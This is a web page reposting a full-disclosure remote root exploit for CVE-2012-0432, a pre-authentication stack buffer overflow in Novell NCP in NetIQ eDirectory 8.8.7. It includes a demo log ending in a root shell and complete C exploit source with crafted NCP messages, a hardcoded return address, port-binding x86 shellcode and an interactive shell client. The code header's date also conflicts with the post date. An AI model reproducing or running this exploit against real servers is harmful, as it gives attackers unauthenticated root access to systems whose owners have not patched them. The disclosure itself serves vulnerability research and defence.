首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Novell NCP Pre-Auth Remote Root Exploit
来源:david.r.klein at 676D61696 作者:Nilson 发布时间:2013-01-21  

In the interest of full-disclosure, here is a remote exploit for the
vulnerability found by David Klein:
Demonstration
Novell NCP Pre-Auth Remote Stack Buffer Overflow
Connecting to host [127.0.0.1]...
Connected!
Sending message #1 (23 bytes)

<-- 44 6d 64 54 00 00 00 17 00 00 00 01 00 00 00 00 11 11 00 00 00 00 00

Waiting for response (16 bytes)...
Received 16 bytes (expecting 16)

--> 74 4e 63 50 00 00 00 10 33 33 00 0a 00 00 00 00

Response #1 is valid, continue exploitation
Received response connection number 0a
Sending payload (190 bytes)...

[...omitted...]

190 bytes sent
Attempting to connect to shell at port 5074...
Sleeping for 10 seconds...
Success!
pwd
/var/opt/novell/instance0/data/dib
id
uid=0(root) gid=0(root) groups=0(root)
exit
Connection closed


********** BEGIN EXPLOIT **********

/*
 * Novell NCP Pre-Auth Remote Root Exploit
 * Written by Gary Nilson 11-17-2013
 *
 * Overview (US-CERT/NIST CVES:CVE-2012-0432):
 *   Stack-based buffer overflow in the Novell NCP implementation in
 *   NetIQ eDirectory 8.8.7.x before 8.8.7.2 allows remote attackers to have an
 *   unspecified impact via unknown vectors.
 *
 * Fix: Issues resolved in eDirectory 8.8 SP7 Patch 2 (20703.00)
 *
 * Exploited Platform:
 *   Novell eDirectory 8.8 SP7 v20701.48
 *   Distribution: Debian GNU/Linux 6.0.6 (squeeze)
 *   Linux Kernel: 2.6.32-5-686  
 *
 * Discovery: David Klein (david.r.klein at 676D61696)
 *
 */

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/ioctl.h>

/*
 * Due to address space randomization on my platform I had to rely on the
 * following in order to reliably execute the payload:
 *   - At the moment that %eip is overwritten, %esi happens to point to the payload
 *     located on the heap (horray).
 *   - Address spaced mapped from 0x08087000-0x080a6000 (Data segment) contains
 *     the handy instruction jmp *%esi (located at 0x080a4697).
 */
#define NCP_PORT 524
#define SHELL_BIND_PORT 5074
#define RET_ADDRESS 0x080a4697
#define RET_PAYLOAD_OFFSET 65
#define PORT_PAYLOAD_OFFSET 24
#define PAYLOAD_SIZE 190
#define SHELL_CONNECT_DELAY 10

int main(int argc, char **argv){

  struct hostent *host;
  struct sockaddr_in target_addr;
  int sockfd;
  fd_set rdfdset, fdsave;;

  int len_in;
  int i;
  int payload_size;
  int ret_address;
  short shell_port;

  int msg1_buffsize;
  int msg2_headersize;
  int recv_buffsize;
  int shellcode_size;

  char iochar;
  char *msg2_buff;
  char *recv_buff;

  /* Shellcode (adapted):
   * s0t4ipv6@Shellcode.com.ar
   * x86 portbind a shell in port 5074
   */
 
  char port_bind[] = "\xeb\x04"                         /* jmp +4 bytes    */
                     "\x00\x00\x00\x00"                 /* eip             */
                     "\x31\xc0\x50\x40\x89\xc3\x50\x40" /* begin shellcode */
                     "\x50\x89\xe1\xb0\x66\xcd\x80\x31"
                     "\xd2\x52\x66\x68\x13\xd2\x43\x66"
                     "\x53\x89\xe1\x6a\x10\x51\x50\x89"
                     "\xe1\xb0\x66\xcd\x80\x40\x89\x44"
                     "\x24\x04\x43\x43\xb0\x66\xcd\x80"
                     "\x83\xc4\x0c\x52\x52\x43\xb0\x66"
                     "\xcd\x80\x93\x89\xd1\xb0\x3f\xcd"
                     "\x80\x41\x80\xf9\x03\x75\xf6\x52"
                     "\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
                     "\x62\x69\x89\xe3\x52\x53\x89\xe1"
                     "\xb0\x0b\xcd\x80";

 
  char msg1[] = "\x44\x6d\x64\x54" /* NCP TCP id */
                "\x00\x00\x00\x17"
                "\x00\x00\x00\x01\x00\x00\x00\x00"
                "\x11\x11\x00\x00\x00\x00\x00";

  char recv[] = "\x74\x4e\x63\x50" /* TCP RCVD id              */
                "\x00\x00\x00\x10" /* length ?                 */
                "\x33\x33"         /* service connection reply */
                "\x00"             /* sequence number          */
                "\x10"             /* connection number        */
                "\x00"             /* task number              */
                "\x00"             /* reserved                 */
                "\x00"             /* completion code          */
                "\x00";            /* ??                       */

  /* special thanks to the ncpfs source */
  char msg2_header[] = "\x44\x6d\x64\x54"  /* NCP TCP id                     */
                        "\x00\x00\x01\xa0" /* request_size + 16 + siglen + 6 */
                        "\x00\x00\x00\x01" /* version (1)                    */
                        "\x00\x00\x00\x05" /* (reply buffer size)            */
                                           /* signature would go here        */
                        "\x22\x22"         /* cmd                            */
                        "\x01"             /* conn->sequence                 */
                        "\xff"             /* conn->i.connection ???         */
                        "\x00"             /* task (1)                       */
                        "\x00"             /* conn->i.connection >> 8        */
                        "\x17"             /* Login Object FunctionCode (23) */
                        "\x00\xa7"         /* SubFuncStrucLen                */
                        "\x18"             /* SubFunctionCode                */
                        "\x90\x90"         /* object type                    */
                        "\x50";            /* ClientNameLen                  */
         

  if (argc != 2){
    fprintf(stderr, "Syntax error: usage: %s target\n", argv[0]);
    exit(EXIT_FAILURE);
  }

  msg1_buffsize = sizeof(msg1)/(sizeof(msg1[0]))-1;
  msg2_headersize = sizeof(msg2_header)/(sizeof(msg2_header[0]))-1;
  recv_buffsize = sizeof(recv)/sizeof(recv[0])-1;
  shellcode_size = sizeof(port_bind)/sizeof(port_bind[0])-1;

  printf("Novell NCP Pre-Auth Remote Stack Buffer Overflow\n");

  memset(&target_addr, 0, sizeof(target_addr)); 
  target_addr.sin_family = AF_INET;
  target_addr.sin_port = htons(NCP_PORT);

  if ((host = (struct hostent *)gethostbyname(argv[1])) == NULL){
    perror("Error looking up hostname");
    exit(EXIT_FAILURE);
  }

  memcpy(&target_addr.sin_addr, host->h_addr_list[0], host->h_length);

  printf("Connecting to host [%s]...\n", argv[1]);

  if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
    perror("Error creating socket");
    exit(EXIT_FAILURE);
  }
 
  if ((connect(sockfd,
        (const struct sockaddr *)&target_addr,
        sizeof(target_addr))) < 0){
    perror("Unable to connect to host");
    close(sockfd);
    exit(EXIT_FAILURE);
  }
  printf("Connected!\n");
  printf("Sending message #1 (%d bytes)\n", msg1_buffsize);

  if (write(sockfd, msg1, msg1_buffsize) < 0){
    perror("Error sending msg1");
    close(sockfd);
    exit(EXIT_FAILURE);
  }
  printf("\n<-- ");
  for (i = 0; i < msg1_buffsize; i++)
    printf("%.2x ", msg1[i]);
  printf("\n\n");

  printf("Waiting for response...\n");

  recv_buff = malloc(recv_buffsize); 
  len_in = read(sockfd, recv_buff, recv_buffsize);
  printf("Received %d bytes (expecting %d)\n", len_in, recv_buffsize);

  printf("\n--> ");
  for (i = 0; i < recv_buffsize; i++)
    printf("%.2x ", recv_buff[i]);
  printf("\n\n");

  if (memcmp(recv_buff, recv, 4) == 0)
    printf("Response #1 is valid, continue exploitation\n");
  else{
    printf("Response $1 does not match, aborting!\n");
    close(sockfd);
    free(recv_buff);
  }

  printf("Received response connection number %.2x\n", (char) recv_buff[11]);
  printf("Sending payload (%d bytes)...\n", PAYLOAD_SIZE);

  msg2_buff = malloc(PAYLOAD_SIZE);
  memset(msg2_buff, 0x90, PAYLOAD_SIZE);
  memcpy(msg2_buff, msg2_header, msg2_headersize);
 
  // yes, this assumes we are little endian
  payload_size = htonl(PAYLOAD_SIZE);
  memcpy(msg2_buff+4, &payload_size, 4);
  memcpy(msg2_buff+msg2_headersize+RET_PAYLOAD_OFFSET-2, port_bind, shellcode_size);

  ret_address = RET_ADDRESS;
  memcpy(msg2_buff+msg2_headersize+RET_PAYLOAD_OFFSET, &ret_address, 4);
  shell_port = htons(SHELL_BIND_PORT);
  memcpy(msg2_buff+msg2_headersize+RET_PAYLOAD_OFFSET+PORT_PAYLOAD_OFFSET, &shell_port, 2);

  msg2_buff[19] = recv_buff[11];
  free(recv_buff);

  printf("\n<-- ");
  for (i = 0; i < PAYLOAD_SIZE; i++)
    printf("%.2x ", msg2_buff[i] & 0xff);
  printf("\n\n");

  if ((i = write(sockfd, msg2_buff, PAYLOAD_SIZE)) < 0){
    perror("Error sending msg2");
    close(sockfd);
    free(msg2_buff);
    exit(EXIT_FAILURE);
  }
  else
    printf("%d bytes sent\n", i, PAYLOAD_SIZE);


  printf("Sleeping for %d seconds...\n", SHELL_CONNECT_DELAY);
  sleep(SHELL_CONNECT_DELAY);

  close(sockfd);
  free(msg2_buff);

  printf("Attempting to connect to shell at port %d...\n", SHELL_BIND_PORT);
  target_addr.sin_port = htons(SHELL_BIND_PORT);

  if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
    perror("Error creating socket");
    exit(EXIT_FAILURE);
  }
 
  if ((connect(sockfd,
        (const struct sockaddr *)&target_addr,
        sizeof(target_addr))) < 0){
    perror("Unable to connect to host");
    close(sockfd);
    exit(EXIT_FAILURE);
  }
  printf("Success!\n");

  FD_ZERO(&rdfdset);
  FD_SET(STDIN_FILENO, &rdfdset);
  FD_SET(sockfd, &rdfdset);
  len_in = 0;

  fdsave = rdfdset;

  while (1){

    if (select(sockfd+1, &rdfdset, NULL, NULL, NULL) < 0){
      perror("Select error");
      close(sockfd);
      exit(EXIT_FAILURE);
    }

    for (i=STDIN_FILENO; i<=sockfd; i++){
      if (FD_ISSET(i, &rdfdset)){
 ioctl(i, FIONREAD, &len_in);
 if (len_in == 0){
   printf("Connection closed\n");
   exit(EXIT_SUCCESS);
 }

 while (len_in--){
   read(i, &iochar, 1);
   write(i == sockfd ? STDOUT_FILENO : sockfd, &iochar, 1);
 }

      }

    }

    rdfdset = fdsave;
  }

}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PHP-Charts 1.0 PHP Code Execut
·Jenkins CI Script Console Comm
·SonicWALL GMS/VIEWPOINT 6.x An
·NVidia Display Driver Service
·Atheme IRC Services 7.0.5 Deni
·Java Applet Method Handle Remo
·Java Applet AverageRangeStatis
·Nagios3 history.cgi Host Comma
·Simatic WinCC Information Harv
·Freesshd Authentication Bypass
·ZoneMinder Video Server packag
·Serva v2.0.0 HTTP Server GET R
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved